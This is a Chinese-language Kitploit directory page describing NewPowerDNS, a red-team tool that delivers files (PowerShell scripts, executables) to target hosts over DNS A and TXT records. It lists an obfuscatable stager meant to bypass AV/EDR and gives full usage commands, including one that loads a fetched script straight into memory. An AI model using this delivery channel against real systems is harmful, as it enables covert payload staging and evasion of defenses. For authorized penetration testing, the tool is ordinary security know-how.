Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
NewPowerDNS — 由 @domchell 对 PowerDNS 的更新版本。增加了通过 DNS A 记录进行传输的支持,以及一些其他实用的功能。 | Kitploit
工具/GitHubGitHub/icyguider/newpowerdns
数据泄露命令与控制红队Payload 开发
GitHubicyguider/newpowerdns

NewPowerDNS

由 @domchell 对 PowerDNS 的更新版本。增加了通过 DNS A 记录进行传输的支持,以及一些其他实用的功能。

查看仓库
8593年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

NewPowerDNS

NewPowerDNS 是 @domchell 的 PowerDNS 的更新版本。新增的主要功能是支持使用 DNS A 记录传输文件。以下是所做修改的完整列表:

  • 支持通过 DNS A 记录传输
  • Gzip 压缩以减小文件传输体积
  • 支持传输所有类型的文件
  • 新的 stager,可轻松混淆或逐行运行,以绕过 AV/EDR 的拦截
  • 可选择打印、执行或保存传输的文件
  • 从 python2 更新到 python3

除 python3 外,唯一的依赖项是 scapy。可通过 pip 轻松安装,如下所示:

root@kitploit:~
python3 -m pip install scapy

下面是一段演示如何通过 DNS A 和 TXT 记录传输文件的视频:

示例与用法

通过 DNS A 记录传输 PowerShell 脚本并打印到控制台:

root@kitploit:~
python3 NewPowerDNS.py --file AmSeeETWBP.ps1 --domain sub.domain.com -r A -a print

通过 DNS TXT 记录传输 exe 文件并保存到磁盘:

root@kitploit:~
python3 NewPowerDNS.py --file SharpHound.exe --domain sub.domain.com -r TXT -a save

通过 DNS TXT 记录传输 PowerShell 脚本并自动加载到内存:

root@kitploit:~
python3 NewPowerDNS.py --file Invoke-Seatbelt.ps1 --domain sub.domain.com -r TXT -a exec

常规用法:

root@kitploit:~

 ___                        ___  _ _  ___
| . \ ___  _ _ _  ___  _ _ | . \| \ |/ __>
|  _// . \| | | |/ ._>| '_>| | ||   |\__ \
|_|  \___/|__/_/ \___.|_|  |___/|_\_|<___/

DNS A Record & updated stager version by @icyguider
        Original version by @domchell


usage: NewPowerDNS.py [-h] [-f <file>] [-d <domain>] [-a <action>] [-r <record-type>] [-i <interface>]

optional arguments:
  -h, --help            show this help message and exit
  -f <file>, --file <file>
                        file to transfer
  -d <domain>, --domain <domain>
                        domain with auth NS record
  -a <action>, --action <action>
                        action to perform once data is transferred (options: save, exec, print)
  -r <record-type>, --record-type <record-type>
                        type of DNS record to use for transfer (options: A, TXT) (default: TXT)
  -i <interface>, --interface <interface>
                        interface to bind to (default: eth0)
下载工具